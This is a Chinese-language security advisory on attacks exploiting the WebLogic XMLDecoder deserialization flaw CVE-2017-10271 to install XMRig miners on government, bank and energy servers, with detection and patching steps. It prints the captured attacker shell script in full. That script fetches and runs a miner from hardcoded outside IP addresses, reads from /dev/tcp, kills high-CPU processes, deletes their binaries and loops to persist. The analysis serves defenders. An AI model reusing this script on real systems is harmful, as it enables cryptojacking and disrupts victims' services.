警惕丨WebLogic漏洞攻击集中爆发,部委、能源、银行等政企用户需格外留意
字数 1493 2025-08-18 11:38:37
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)分析与防御指南
漏洞概述
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)是Oracle WebLogic Server中的一个严重安全漏洞,首次发现于2017年9月。该漏洞允许攻击者在未授权的情况下远程执行任意代码,完全控制受影响系统。
攻击事件分析
近期攻击特征
- 攻击目标:主要针对部委、银行、能源等关键基础设施的政企用户
- 攻击方式:利用漏洞获取系统权限后下载并执行门罗币(XMR)矿机程序
- 攻击升级:相比2017年的挖矿攻击,此次攻击会强制终止占用CPU高的非矿机进程,导致业务中断
攻击流程
- IP扫描阶段:攻击者在互联网上扫描存在CVE-2017-10271漏洞的WebLogic服务器
- 漏洞利用阶段:对筛选出的目标IP发动攻击,利用漏洞获取命令执行权限
- 恶意负载植入:成功利用漏洞后,从指定位置下载适合目标系统的挖矿工具(XMRig)
- 资源抢占:挖矿程序启动后,强制终止占用CPU超过60%的非矿机进程
漏洞技术分析
漏洞原理
该漏洞存在于WebLogic Server的wls-wsat组件中,由于XMLDecoder反序列化过程中未对用户输入进行充分验证,导致攻击者可以构造恶意的XML请求来执行任意命令。
攻击样本分析
攻击者使用的主要脚本功能模块:
#!/bin/sh
sPid=
$$
mPid=''
mName='java'
# 检查操作系统命令可用性
checkCmd() {
command -v $1 >/dev/null 2>&1
}
# 提供多种下载方式(wget/curl/python/socket)
downloader () {
if checkCmd wget; then
wget $1 -O $2
elif checkCmd curl; then
curl $1 -o $2
elif checkCmd python; then
if [ "`python -c "import sys;print(sys.version_info[0]3" ]; then
python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
else
python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
fi
else
cat < /dev/tcp/165.227.215.25/5555 > $2
fi
chmod +x $2
}
# 终止高CPU占用进程
killer() {
for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
if [ $tmpVar = $sPid ]; then continue fi
if [ $tmpVar = $mPid ]; then continue fi
if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then continue fi
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then continue fi
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then continue fi
kill -9 $tmpVar
rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*->//g'`
fi
done
}
# 运行矿机程序
runer() {
if [ -z "$mPid" ]; then
if [ ! -f $mName ]; then
downloader http://165.227.215.25/java $mName
fi
chmod +x ./$mName
./$mName
fi
mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}
# 主执行流程
pkill python; pkill perl; pkill $mName
downloader http://45.77.245.237/java $mName
runer
killer
# 持续监控
while true; do
sleep 10
if ps -p $mPid > /dev/null; then
killer
else
mPid=''
runer
fi
done
检测方法
手动检测
- 检查WebLogic日志中是否包含可疑的wls-wsat请求
- 搜索HTTP访问日志中状态码非500的wls-wsat相关请求
- 检查服务器上是否存在异常的"java"进程或高CPU占用进程
使用专业工具检测
在中睿天下"睿眼"攻击溯源系统中:
- 进入【威胁分析】->【全局分析】
- 搜索参数填写:
*wls-wsal*或wls- - HTTP状态码筛选:
!500(排除状态码为500的请求)
应急处置措施
临时缓解方案
- 删除易受攻击的组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
- 重启WebLogic服务或系统
- 验证漏洞是否修复:访问
http://ip:port/wls-wsat/CoordinatorPortType11应返回404
永久修复方案
- 应用官方补丁:
- 官方补丁地址:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
- 根据WebLogic版本下载对应的补丁程序
长期防御建议
-
持续监控:
- 在安全设备中添加已知攻击者IP到黑名单
- 监控所有服务器与可疑IP的连接记录
-
安全加固:
- 定期更新WebLogic安全补丁
- 限制WebLogic管理端口的互联网访问
- 启用WebLogic的安全审计功能
-
应急响应准备:
- 建立漏洞应急响应机制
- 准备WebLogic服务的回滚方案
参考资源
- Oracle官方补丁页面:http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
- Oracle社区关于CVE-2017-10271的讨论:https://community.oracle.com/thread/4109711
- 中睿天下应急响应联系方式:4008-232-911
总结
CVE-2017-10271漏洞目前处于集中爆发期,攻击者不仅利用该漏洞进行加密货币挖矿,还会破坏正常业务进程。政企用户特别是部委、银行、能源等关键行业需高度重视,立即采取防护措施,防止系统被入侵造成业务中断和数据泄露。